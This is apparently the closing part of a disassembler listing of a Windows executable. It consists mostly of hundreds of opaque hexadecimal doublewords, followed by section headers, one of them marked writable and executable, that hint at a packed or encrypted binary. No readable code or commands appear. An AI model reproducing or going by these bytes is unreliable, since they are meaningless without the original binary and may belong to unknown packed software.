		dd 8746644Eh, 77C3E6BFh, 0F71BFDA4h, 0FFBD6578h, 90845613h
		dd 0A600AC48h, 0B369512Ah, 78B10FB0h, 88D8B790h, 6B40D7C3h
		dd 9EA1F472h, 483BA728h, 5744E4EBh, 5BF712ACh, 1348B095h
		dd 982FF0EAh, 8E7C7BB3h, 45DC5095h, 83D6D084h, 81C3F825h
		dd 0B41A6D29h, 3314AAD8h, 0F493DA11h, 32B96C09h, 0FA784C22h
		dd 0BBE5EFFAh, 5C60DC07h, 316D9004h, 88F8AE2Ah,	0BDCB09D9h
		dd 5AFCB70Fh, 9E08C9A6h, 0F19952E9h, 6A3E9C31h,	0FE7B587h
		dd 0D933A60Bh, 0C67EBF04h, 57962ED4h, 8AEDC4C1h, 7BECBF33h
		dd 8AFB700Eh, 9AF3BD31h, 9B8A95E2h, 7ECBF41Eh, 9F45ED26h
		dd 0C1DD9A83h, 71300E05h, 0EFBC4D75h, 152DDDC0h, 0CEC2761Ch
		dd 7BDDAA55h, 35C879C7h, 0DE1D96D7h, 9AD1307Dh,	0B47A0E61h
		dd 0BB1BEAB6h, 0AFA791F1h, 71FAA59Bh, 2ADDFB57h, 4AD2F5A9h
		dd 5C8598C8h, 0ED60F9F5h, 0A3B011D4h, 30B3AE87h, 3CB20A38h
		dd 6065444Fh, 5CA0C614h, 6AA64A52h, 0C99FD9ECh,	50CF8A0Eh
		dd 4252AFC3h, 6AA34511h, 6307B4EFh, 6E476C7Ah, 983064D3h
		dd 74F7170Ah, 0F06D190h, 7C9AADBDh, 5248B6E5h, 0DD6E7FC8h
		dd 3FF43696h, 0FC5251BDh, 400B7702h, 47B874E9h,	26DE22EBh
		dd 0E4EAAB3Dh, 0F439FA7Dh, 9DCAA96Fh, 573A89A0h, 0F262ABE1h
		dd 114C9F1Eh, 3CF2B281h, 3685FD07h, 0D2194728h,	0DE8F189h
		dd 4F9D6184h, 0BEA50936h, 0AAABF62Bh, 251FFDF2h, 415F8579h
		dd 7A46BE01h, 25BB6307h, 80DDF25Bh, 299ABE6Bh, 2B16E2D5h
		dd 4752C82Fh, 0FF58A93Bh, 6CED151Ah, 0FA55DE0Ch, 6F390650h
		dd 0A84F5BAFh, 15C313AFh, 0B47CF4A9h, 0F0DBAC17h, 56BB1A8Dh
		dd 0A4CB1695h, 981D9047h, 5466878Eh, 8B0529E4h,	0CD2264BFh
		dd 5EBB2AF6h, 614E4C65h, 79807EEFh, 0B3AFD74Ch,	177743B9h
		dd 0A14DBE61h, 0E6A54D8Fh, 0C53411E1h, 75B3A83Ch, 523A25F4h
		dd 0C99C96C4h, 9D70DA7Eh, 819E0A5Ah, 26ED1A0Fh,	0CEFE85A5h
		dd 2E04FCDAh, 0FAFDC0DEh, 64635965h, 28134F2Dh,	0E0582C02h
		dd 1B0ABFCFh, 393FC71Dh, 0B6ABDDC0h, 13D6E58Ah,	12B15892h
		dd 16ED6257h, 0A3491234h, 322BB815h, 7E5D1A77h,	2BD23916h
		dd 8B387293h, 0AEAC30D2h, 0AF395E53h, 8400463Dh, 0B966822Eh
		dd 0D52DEDB2h, 12473488h, 8FE3D336h, 0C7E2EF40h, 8A29F787h
		dd 2F2BD8AFh, 730F09B9h, 0FDDC2C3Bh, 0F4109F09h, 0DF6AAB82h
		dd 0D43987F2h, 1155C92Bh, 5374A12Bh, 9399DB33h,	0E9F7A59Eh
		dd 0B40C715Dh, 0D775E413h, 8E81E1C8h, 38164FFEh, 4DF88F3Bh
		dd 502179EAh, 0BD2F3307h, 0B1E36E45h, 19613037h, 0B3DFF3EAh
		dd 0A4568028h, 0BD81F038h, 50CDEB68h, 8CD7719Ah, 0B011BB4Ch
		dd 0C925CCAAh, 40F6341Eh, 0B0A5BC56h, 0CEAFAD43h, 9DECA1F2h
		dd 5727F723h, 9E151C38h, 3716D420h, 2885CE63h, 744C2C20h
		dd 0BA8B9021h, 1FBF3511h, 0FD26B65Bh, 0C7231A9Dh, 447761F6h
		dd 0EF42F9F0h, 12DA4C1Eh, 0CCBA4757h, 90FE4795h, 0AD503FE3h
		dd 0D9F1720Ch, 83061F24h, 243C439Dh, 4DA99D70h,	3BC3A27Ah
		dd 0B81E0DA1h, 1993E1AEh, 58687DCh, 23F31299h, 0D5E1903Ch
		dd 0A535849Fh, 32B397Fh, 141AEE2Fh, 0CD28E481h,	0BD8C9603h
		dd 0ACED96ACh, 0AA450B7Dh, 141CA0E2h, 283975BEh, 46C6B9BEh
		dd 9FF19B53h, 776BD7FDh, 0C8368433h, 247828A6h,	0C3D40FF4h
		dd 312F4C66h, 0C535A6B6h, 6F38A9F8h, 3FEE3F8Ah,	5EF497AAh
		dd 83DB7AEFh, 90764997h, 0F89FF89Fh, 52A54FD7h,	45E226BDh
		dd 9BCE8782h, 5C4761A5h, 0A1F5C535h, 925DD6E2h,	0D1BAAF40h
		dd 1EC5977h, 5E50B335h,	16568BB4h, 4B20F1FEh, 9093B086h
		dd 0B0C738A5h, 32BB85FCh, 8F29ADEh, 0FD726A5h, 6C547060h
		dd 6ED63A82h, 0F19167FEh, 3B5FEC3Bh, 0C8E98412h, 5704B3E4h
		dd 93345E12h, 0F9794EFEh, 0E24A1D37h, 0E297944Bh, 709B6E18h
		dd 0EAEDE7C8h, 0E08C3937h, 0CA9D5B61h, 1C94F8F1h, 3316B047h
		dd 0FBDB5995h, 26B96641h, 84F10453h, 7A35E6EBh,	0C6E78CD2h
		dd 0DF4F44B2h, 21CC6180h, 93BEFED2h, 8E375063h,	0C16ED0C8h
		dd 7A8914FAh, 7B6342B3h, 715C206Ah, 0D6CDBA03h,	2BE53E34h
		dd 0C4C31F04h, 0BCF81845h, 0DC1E7030h, 93560A0Dh, 539D6EBFh
		dd 8FC08B6Fh, 27039186h, 21B4673Ah, 2BB4E1B1h, 38C4D6CFh
		dd 7DAD397Dh, 0A88BDA16h, 0B1DA63A5h, 0CED2CCEAh, 0E1865FCAh
		dd 0D0530DE3h, 0AA65C3C4h, 0F00D8E8Bh, 85ED4773h, 2A0E7BF0h
		dd 6AC61375h, 3E256402h, 9B1F2510h, 0A4D2E3C8h,	26B23C7Dh
		dd 6E2AB38Bh, 89E1D9A2h
		dd 92F3D679h, 0A0F34B86h, 3BB273DDh, 4EB050F0h,	572956B0h
		dd 9345DF7h, 1E6D5DD7h,	2ED455FFh, 62955DB8h, 0F3EE0505h
		dd 38574301h, 60E0B24Bh, 6485BCE4h, 0A7FA82F7h,	0E4E27BB3h
		dd 6741DF36h, 439D774Eh, 46275C5h, 4DB900D2h, 0F3829492h
		dd 2FD73F98h, 8778A559h, 0A16B2633h, 0C2601106h, 7F3E821Eh
		dd 7A12C755h, 0F0166B1Ah, 0BBE47EF2h, 87D6886Dh, 3C788512h
		dd 869A8AA2h, 0A4ADE502h, 0CA9661A5h, 79F7A35Ah, 0DD3D488Fh
		dd 0CBA2F9B0h, 27F48086h, 4C72D68Eh, 27C61CB9h,	5349BC21h
		dd 0E44FB3F3h, 320ECEB6h, 0E1B10F60h, 8593D2Ah,	1C392BA9h
		dd 81AD141Ah, 89479265h, 9016893Ah, 143842D6h, 4ECFF42Ch
		dd 32D8E95Ah, 4DDAEFEDh, 0D913F802h, 11A7F728h,	0B24412F6h
		dd 9124ADC9h, 0E179C88Ah, 73E2AED0h, 0B72BF322h, 71008A5Eh
		dd 8CA5D3C3h, 0C9423A85h, 7D6C04BEh, 25F17A6h, 391FE0DEh
		dd 51ED4770h, 21128071h, 293B5D1h, 4413469h, 0C5D78BA7h
		dd 0CCE6F741h, 0FE732CCAh, 4C247D7Fh, 61D89CEBh, 56DE46Bh
		dd 0F770DFD4h, 70A2B41h, 0D7770744h, 24D8F4F0h,	0D47C9144h
		dd 3951F97Dh, 29592869h, 663ABA60h, 18F223D7h, 5B77F902h
		dd 8C9CFA69h, 0BD00E37h, 4DD8C4E7h, 229D253Bh, 2CD9A518h
		dd 802B698Fh, 0DA1B5B54h, 0C4CFA6B6h, 0D8D17BADh, 24D7AF0Ah
		dd 72F4F83Bh, 0D42ABF1Bh, 8E18A973h, 0B572807Ch, 0C9A53420h
		dd 1C7C3A78h, 0D1708224h, 0BC7AEC91h, 208037ACh, 0B87BC37Dh
		dd 8A3F6CFAh, 57122E75h, 0AB15CA75h, 0CDB3C678h, 0B858F49Bh
		dd 83946E37h, 0A2FDFD46h, 252F1AAEh, 868B2BA4h,	197B1D8h
		dd 0F98DE049h, 68B8A208h, 9BC091BFh, 82D341B6h,	0EB4AFA7Dh
		dd 35667808h, 0FD90B43Eh, 0AAF0AE7Ch, 62E5B4ECh, 338EF103h
		dd 5E75D32Ch, 0FCC442B2h, 0E743DEB7h, 96FF02CCh, 0BABC5579h
		dd 36BF1E58h, 0E462F03h, 0E4497369h, 0C6CBE616h, 0F2350478h
		dd 106B668Ch, 0AF5121D2h, 2010EC75h, 14667FE5h,	0DA9A2B4Bh
		dd 85F8BA3Dh, 0FFA1A0B7h, 124DD0F2h, 91A5285Fh,	0B8505A4h
		dd 69483C54h, 3F66C7E0h, 96CE7E98h, 9B15FFF3h, 0B454385Bh
		dd 0B83E755h, 48C4197Eh, 565581B3h, 142534C1h, 0E85C8A1Bh
		dd 1D903BEAh, 2C2C409Eh, 89E8028Ch, 0FB23D6EDh,	751726A7h
		dd 1F2D783Ah, 2A779872h, 0AEE0AFB8h, 9861322h, 0D1CA305Ah
		dd 2D168A5Ch, 0C8F73D66h, 3F1CFD29h, 0BC729AC3h, 5BEEFB71h
		dd 62CD880h, 0F66D0D74h, 870FAD3h, 6F4B952Ah, 5F225D15h
		dd 839FE8ACh, 0B5F4F9BAh, 4663AC72h, 0C6A57777h, 2BE94C1h
		dd 0B3C47C9Eh, 0C11E54F4h, 69FEEA22h, 8979C175h, 0EEB9AAFh
		dd 0A359B52Ah, 128D1049h, 6359AAE0h, 6064B187h,	0D72D27F9h
		dd 703B9D09h, 4F43D5AAh, 73F87A5Bh, 2445F849h, 0FE502B8Ch
		dd 5C9ECDD0h, 15B5C127h, 0AC957h, 35E9F3B7h, 0B0255FEDh
		dd 965FDA5Dh, 7D5DF261h, 8CE353A4h, 7D79AED6h, 251565E5h
		dd 787AED29h, 0B7D6EA8Ch, 1D645C0Ch, 736C3C5Eh,	0F8B7AA77h
		dd 5677FE44h, 0CE446076h, 0A530F9F3h, 4A979942h, 0AF2C22E0h
		dd 98CB3D58h, 771CA5FBh, 7D501940h, 21D63FEBh, 0E07D97ACh
		dd 6F9DCAFAh, 78B925A2h, 0D831A9EBh, 0DA95DD0Ch, 211A490Ah
		dd 139AFC79h, 4566EC70h, 9ED8C789h, 0FFBE35D8h,	0D24C306h
		dd 7E9B896h, 83E9BE18h,	96CD4C37h, 0B8322546h, 7A2A1CF8h
		dd 0A1870989h, 3C50C9DFh, 37D3DAACh, 0BD08B210h, 3817D02Ch
		dd 0B6D17F9Bh, 639CD7E2h, 0A0EB2047h, 0C855A89Bh, 46030F0h
		dd 0B1D633E2h, 2721E7EAh, 67A73DD7h, 0B0BE9149h, 4C0A1787h
		dd 56EE1DDCh, 0AAB409EEh, 0EB2496D2h, 7C730080h, 0DA7E2404h
		dd 8D014612h, 9E725C8Dh, 0C70A7ACCh, 0DDAD9C8Bh, 4D2BC63Eh
		dd 681EF770h, 7B196E12h, 0D15B3392h, 0B0D82B00h, 0A400706Eh
		dd 0FAE485h, 0EC9E7743h, 64F3AFB5h, 0EAA9D3D7h,	0E73DA73Ch
		dd 0E90B91A5h, 59AFFE0Dh, 0E021FD57h, 12BBB461h, 2BA5FF00h
		dd 474C1B90h, 3E25F85Ch, 870FC6AFh, 9A685C09h, 0E469DFD2h
		dd 0C2D37F52h, 9115726h, 0D3E20B5h, 88850572h, 4C299B4Ch
		dd 0A0E7564Ah, 0D7381ABEh, 2C039CBDh, 0B7D0963Ah, 0A4B0C4B5h
		dd 3FEF7C3h, 0C1161248h, 0A942F10Bh, 58664CF4h,	958DB1FBh
		dd 660DDC53h, 9B6F7159h, 3C27F092h, 0F632E9D1h,	0F6240FA7h
		dd 8623DCE0h, 0C8D557D8h, 0EB48B824h, 0BC6C8744h, 40B0BA53h
		dd 450E0492h, 54B46BADh, 46B827DBh, 4548CD65h, 0A69E4BFEh
		dd 3963EF0Ah, 1D11949Ch, 0C3C5CA67h, 8FDC4E09h,	0FBCD344Fh
		dd 0FEE2943Dh, 8CDAFCE8h, 485F195Ch, 423F9AD8h,	0D5B65B4Ch
		dd 0F7E9242Ah, 8A987E92h, 5C216873h, 0CC8AF3D7h, 0B45F0553h
		dd 6A11E424h, 0BF6860C9h, 8841CF58h, 0B9A700C2h, 7AA44B9Ah
		dd 0DED37193h, 2E6277B8h, 49FA790Ah, 8F4826E0h,	0B5D14505h
		dd 7F1A5358h, 0FC7FE4BFh, 0BBCAAE74h, 2677D7F1h, 0E2D9EA4h
		dd 5142A2DEh, 4AC6F527h, 41346509h, 1DC8A6B5h, 186FBA8Eh
		dd 0B7081266h, 0E8DC14F7h, 3B392B19h, 0CAF5F391h, 4FE912h
		dd 0FC9496FDh, 3BE9B44Bh, 0CA3EC6Dh, 6B9252A5h,	8B34DDE4h
		dd 18ABCDF6h, 92853667h, 0CA3AEBD1h, 5A89D2E4h,	0CA88AB20h
		dd 86C513E4h, 0A12FB638h, 8372A3EBh, 340B1A31h,	568055FEh
		dd 0FAE8BCFCh, 0F398FBE5h, 85587A45h, 1382AC56h, 8831EEE1h
		dd 954F9FE9h, 0EA602E12h, 0BD2E03C6h, 21328A37h, 9B11AA4Eh
		dd 23868885h, 0F93EA098h, 0EDB6D99Eh, 0CDBA1CBAh, 87D586FEh
		dd 6C101B1Eh, 0F47031FCh, 1CEC7E5Dh, 0C2E21BFCh, 267C86E1h
		dd 8676DB7Ah, 70100B05h, 82200E6Ah, 0E1F0496Ch,	167775DBh
		dd 0BC4EB5Eh, 58A63815h, 671349B6h, 559BF8CAh, 0C1FFFA92h
		dd 2039B4FFh, 0F8AA34h,	0E25BBE4Eh, 339C73B2h, 1F5DDB1Fh
		dd 0DAFE8997h, 0AE161813h, 166090B4h, 3F9A25AAh, 0B7978B6Fh
		dd 31CCD78Fh, 2C3AE573h, 9CFBB9E0h, 99A491D5h, 51281594h
		dd 0DD854D3Dh, 422B26A3h, 0E5BC420Ch, 0AA6781h,	0ECA5E8E7h
		dd 35A1E213h, 0BCC09FC9h, 493FD6DCh, 70C6838Ch,	42D55388h
		dd 0BBCAC18Ch, 14B6E054h, 883703EBh, 0B193D71Eh, 0DE2F0B6Bh
		dd 0B466D47Dh, 137150A9h, 55007A15h, 92F0DC4Ah,	41A904BFh
		dd 904C02F3h, 0EEE5D861h, 0E001FDFFh, 3C9E99C6h, 1627FAAh
		dd 9A3BB458h, 8D765F8Ah, 209787EDh, 52A32E70h, 0FA4CCACAh
		dd 0E95F31Ch, 165A837h,	4788D13Dh, 0B6AD1263h, 34F99C7Dh
		dd 2EA7CF1Ah, 5A6E1F5Ah, 0B4657073h, 6075DEDFh,	6DAC0972h
		dd 3F55D643h, 0A250F7A0h, 0B2EEEEBAh, 0C163DCh,	0E36D0EDCh
		dd 1676331Dh, 6A10209Fh, 3C640E62h, 34B70000h, 4584CCD3h
		dd 340008A4h, 2CAED5B2h, 1AF1C062h, 48EA4132h, 9B7A0BA4h
		dd 0B6729E73h, 7942E71Dh, 98A01C5Ch, 51112415h,	693B2DB7h
		dd 2764C3Bh, 0F0043F25h, 0A0CAAC39h, 0B8A386D9h, 0F87A5E1Fh
		dd 1BD9D136h, 0A1A3669Bh, 0DD087224h, 0A105E807h, 5E013448h
		dd 0A33C653Ch, 4A366606h, 0B54D0643h, 0F023F04Eh, 0A28901C5h
		dd 161C7A42h, 0CEB50961h, 6560A6A4h, 0B189C7B7h, 6C7C561Dh
		dd 0D77D725Fh, 20040145h, 72E96899h, 1961F8Fh, 7F72DFDBh
		dd 0C033A0F4h, 7DC3A92Ah, 7EDD6F76h, 0A89FFB41h, 95990F72h
		dd 0D53F548Eh, 0F4A63DC0h, 0D2FB69FAh, 0C1FAEA8h, 5A4E2684h
		dd 49D5D19Fh, 961DBCA5h, 1F92AADDh, 3456C190h, 0A792B5BAh
		dd 9E46139h, 0C85EE4E2h
		dd 45E29C2Eh, 0F3F2A059h, 35329440h, 7134E745h,	9953F000h
		dd 37B16D98h, 86934A03h, 5DBED67Ch, 0D88DAD00h,	10D70397h
		dd 3BF127B8h, 22545E1Bh, 0B5AB66B0h, 23714CA8h,	0D34569B8h
		dd 11A2A001h, 59AD4149h, 8D3A2383h, 8241DBA9h, 0AC602A85h
		dd 0DA29E9EAh, 5052406Eh, 9D08C7B0h, 13FEDEAEh,	0AAF880CBh
		dd 0C3E63078h, 0BD8DEA2h, 7057EA5Ch, 3EA886Ah, 6E93BA0h
		dd 0B4C03233h, 725DB379h, 5776DABCh, 6BBB5C09h,	0F6471F26h
		dd 0B1CDC52Eh, 0C8639360h, 0EFDF3028h, 0F243C7Dh, 26DCC50Ah
		dd 8D8303C7h, 0A4ABE0F7h, 8CEB4FABh, 96EA623Ch,	6B599E6Fh
		dd 20F21A25h, 0C3BF39C0h, 72E3FBBh, 1ECFEE0Ah, 0F0BDF63Fh
		dd 37FDE79Dh, 2B6AEA7Ch, 0CEE582B0h, 0AF2F3E9h,	0FF14422h
		dd 0D298CC9Ch, 7F5FD915h, 360CDD0Ah, 8585245Ch,	5D9C1297h
		dd 7B775AAFh, 85C3BFFBh, 54EE39B9h, 29F4A172h, 0CA8C40EFh
		dd 0BEC5D7BAh, 29610339h, 1660AECh, 9CD1886Ch, 0CE5F8217h
		dd 15BDBA96h, 90B072B2h, 0BD01E614h, 382E2EE4h,	0F941487Dh
		dd 0CD3D8A8Ch, 209B05Ch, 86D2462Ah, 0FC382EB8h,	71CD7A8Bh
		dd 0B9BED270h, 0B69C2950h, 0F2AB7C62h, 5F2FD03Ch, 1F89BB65h
		dd 0AF3E1556h, 0D610BD15h, 1AE376D9h, 0C51A4E66h, 0AE7A19FAh
		dd 32F8E818h, 33D99C76h, 0C11D4E5h, 0B4D603F2h,	93C65494h
		dd 0B91AA932h, 8AB9E9CCh, 0FA485115h, 0F9579FC0h, 0AD733168h
		dd 84B16DABh, 60E4238Bh, 48B4A515h, 6830D9DDh, 569C75EBh
		dd 0D9962703h, 0B1C77174h, 15C256F2h, 0E7D23AFCh, 0E2C68EDCh
		dd 2E052766h, 1D7650D5h, 1A110983h, 0EC0EF75Dh,	0E31FF73Eh
		dd 962359ACh, 3A2C3390h, 0D0EA63DAh, 0A0B6114Fh, 0B5D4DACAh
		dd 6CBCFEC5h, 3B6921F0h, 40088D1Ch, 3F8409DEh, 22CE9492h
		dd 22D8C1ABh, 229D6287h, 0F3C3CC21h, 8696F458h,	2F7705BDh
		dd 97FE5103h, 46BB986h,	0EC1CDFA3h, 3327CDA9h, 5560DABDh
		dd 7C51F9EEh, 46EBCD55h, 951A0DF8h, 0E15528D7h,	0BAEF4356h
		dd 8AC9D8D6h, 0C483B264h, 57B0190h, 0D81FBE01h,	2D5DB04Ah
		dd 0A248A10Bh, 3930B877h, 1FBC01B2h, 8CE287B5h,	0F9AF9B9Dh
		dd 1C3D1E97h, 7562F6D6h, 61DD0739h, 0EA0E3290h,	0DC896DAFh
		dd 0D013D4B5h, 2DC5393Ch, 5B7EB94Ch, 0ACC93F5Ah, 0A4E606A3h
		dd 0ABB77F99h, 6889335Ah, 2F2E7744h, 52C4212Dh,	46257ED8h
		dd 0D5DA4299h, 0EA173756h, 9A09D14Eh, 7B850E55h, 7BED1A6Ch
		dd 0B7BFC9EBh, 0C3CCE9Ah, 57062B71h, 300h dup(0)
_data		ends

; Section 5. (virtual address 0007B000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 0007B000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_adata		segment	para public 'CODE' use32
		assume cs:_adata
		;org 47B000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		align 2000h
_adata		ends

; Section 6. (virtual address 0007C000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0007C000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 47C000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start